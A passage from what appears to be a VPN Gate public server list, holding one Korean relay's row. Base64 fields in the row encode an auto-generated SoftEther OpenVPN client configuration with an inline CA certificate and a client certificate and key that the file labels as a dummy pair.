Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn942772599,221.151.151.70,1504112,28,86098742,Korea Republic of,KR,78,3262729195,748737,89898246433794,2weeks,DESKTOP-HALMPDH's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTUxLjE1MS43MCA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCe